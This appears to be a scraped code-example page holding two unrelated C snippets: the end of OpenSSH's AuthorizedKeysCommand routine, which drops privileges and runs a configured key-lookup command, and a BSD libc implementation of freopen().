			signal(i, SIG_DFL);

		if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) {
			error("%s: open %s: %s", __func__, _PATH_DEVNULL,
			    strerror(errno));
			_exit(1);
		}
		/* Keep stderr around a while longer to catch errors */
		if (dup2(devnull, STDIN_FILENO) == -1 ||
		    dup2(p[1], STDOUT_FILENO) == -1) {
			error("%s: dup2: %s", __func__, strerror(errno));
			_exit(1);
		}
		closefrom(STDERR_FILENO + 1);

		/* Don't use permanently_set_uid() here to avoid fatal() */
		if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
			error("setresgid %u: %s", (u_int)pw->pw_gid,
			    strerror(errno));
			_exit(1);
		}
		if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) {
			error("setresuid %u: %s", (u_int)pw->pw_uid,
			    strerror(errno));
			_exit(1);
		}
		/* stdin is pointed to /dev/null at this point */
		if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
			error("%s: dup2: %s", __func__, strerror(errno));
			_exit(1);
		}

		execl(options.authorized_keys_command,
		    options.authorized_keys_command, user_pw->pw_name, NULL);

		error("AuthorizedKeysCommand %s exec failed: %s",
		    options.authorized_keys_command, strerror(errno));
		_exit(127);
	default: /* parent */
		break;
	}

	temporarily_use_uid(pw);

	close(p[1]);
	if ((f = fdopen(p[0], "r")) == NULL) {
		error("%s: fdopen: %s", __func__, strerror(errno));
		close(p[0]);
		/* Don't leave zombie child */
		kill(pid, SIGTERM);
		while (waitpid(pid, NULL, 0) == -1 && errno == EINTR)
			;
		goto out;
	}
	ok = check_authkeys_file(f, options.authorized_keys_command, key, pw);
	fclose(f);

	while (waitpid(pid, &status, 0) == -1) {
		if (errno != EINTR) {
			error("%s: waitpid: %s", __func__, strerror(errno));
			goto out;
		}
	}
	if (WIFSIGNALED(status)) {
		error("AuthorizedKeysCommand %s exited on signal %d",
		    options.authorized_keys_command, WTERMSIG(status));
		goto out;
	} else if (WEXITSTATUS(status) != 0) {
		error("AuthorizedKeysCommand %s returned status %d",
		    options.authorized_keys_command, WEXITSTATUS(status));
		goto out;
	}
	found_key = ok;
 out:
	restore_uid();
	return found_key;
}
Exemple #30
0
/* 
 * Re-direct an existing, open (probably) file to some other file. 
 * ANSI is written such that the original file gets closed if at
 * all possible, no matter what.
 */
FILE *
freopen(const char *file, const char *mode, FILE *fp)
{
	int f;
	int flags, isopen, oflags, sverrno, wantfd;

	_DIAGASSERT(file != NULL);
	_DIAGASSERT(mode != NULL);
	_DIAGASSERT(fp != NULL);

	if ((flags = __sflags(mode, &oflags)) == 0) {
		(void) fclose(fp);
		return NULL;
	}

	if (!__sdidinit)
		__sinit();

	/*
	 * There are actually programs that depend on being able to "freopen"
	 * descriptors that weren't originally open.  Keep this from breaking.
	 * Remember whether the stream was open to begin with, and which file
	 * descriptor (if any) was associated with it.  If it was attached to
	 * a descriptor, defer closing it; freopen("/dev/stdin", "r", stdin)
	 * should work.  This is unnecessary if it was not a Unix file.
	 */
	if (fp->_flags == 0) {
		fp->_flags = __SEOF;	/* hold on to it */
		isopen = 0;
		wantfd = -1;
	} else {
		/* flush the stream; ANSI doesn't require this. */
		if (fp->_flags & __SWR)
			(void)__sflush(fp);
		/* if close is NULL, closing is a no-op, hence pointless */
		isopen = fp->_close != NULL;
		if ((wantfd = __sfileno(fp)) == -1 && isopen) {
			(void) (*fp->_close)(fp->_cookie);
			isopen = 0;
		}
	}

	/* Get a new descriptor to refer to the new file. */
	f = open(file, oflags, DEFFILEMODE);
	if (f < 0 && isopen) {
		/* If out of fd's close the old one and try again. */
		if (errno == ENFILE || errno == EMFILE) {
			(void) (*fp->_close)(fp->_cookie);
			isopen = 0;
			f = open(file, oflags, DEFFILEMODE);
		}
	}
	sverrno = errno;

	/*
	 * Finish closing fp.  Even if the open succeeded above, we cannot
	 * keep fp->_base: it may be the wrong size.  This loses the effect
	 * of any setbuffer calls, but stdio has always done this before.
	 */
	if (isopen && f != wantfd)
		(void) (*fp->_close)(fp->_cookie);
	if (fp->_flags & __SMBF)
		free((char *)fp->_bf._base);
	fp->_w = 0;
	fp->_r = 0;
	fp->_p = NULL;
	fp->_bf._base = NULL;
	fp->_bf._size = 0;
	fp->_lbfsize = 0;
	if (HASUB(fp))
		FREEUB(fp);
	WCIO_FREE(fp);
	_UB(fp)._size = 0;
	FREELB(fp);

	if (f < 0) {			/* did not get it after all */
		fp->_flags = 0;		/* set it free */
		errno = sverrno;	/* restore in case _close clobbered */
		return NULL;
	}

	if (oflags & O_NONBLOCK) {
		struct stat st;
		if (fstat(f, &st) == -1) {
			sverrno = errno;
			(void)close(f);
			errno = sverrno;
			return NULL;
		}
		if (!S_ISREG(st.st_mode)) {
			(void)close(f);
			errno = EFTYPE;
			return NULL;
		}
	}

	/*
	 * If reopening something that was open before on a real file, try
	 * to maintain the descriptor.  Various C library routines (perror)
	 * assume stderr is always fd STDERR_FILENO, even if being freopen'd.
	 */
	if (wantfd >= 0 && f != wantfd) {
		if (dup2(f, wantfd) >= 0) {
			(void) close(f);
			f = wantfd;
		}
	}

	/*
	 * File descriptors are a full int, but _file is only a short.
	 * If we get a valid file descriptor that is greater or equal to
	 * USHRT_MAX, then the fd will get sign-extended into an
	 * invalid file descriptor.  Handle this case by failing the
	 * open. (We treat the short as unsigned, and special-case -1).
	 */
	if (f >= USHRT_MAX) {
		(void)close(f);
		errno = EMFILE;
		return NULL;
	}

	fp->_flags = flags;
	fp->_file = f;
	fp->_cookie = fp;
	fp->_read = __sread;
	fp->_write = __swrite;
	fp->_seek = __sseek;
	fp->_close = __sclose;

	/*
	 * When reopening in append mode, even though we use O_APPEND,
	 * we need to seek to the end so that ftell() gets the right
	 * answer.  If the user then alters the seek pointer, or
	 * the file extends, this will fail, but there is not much
	 * we can do about this.  (We could set __SAPP and check in
	 * fseek and ftell.)
	 */
	if (oflags & O_APPEND)
		(void) __sseek((void *)fp, (off_t)0, SEEK_END);
	return fp;
}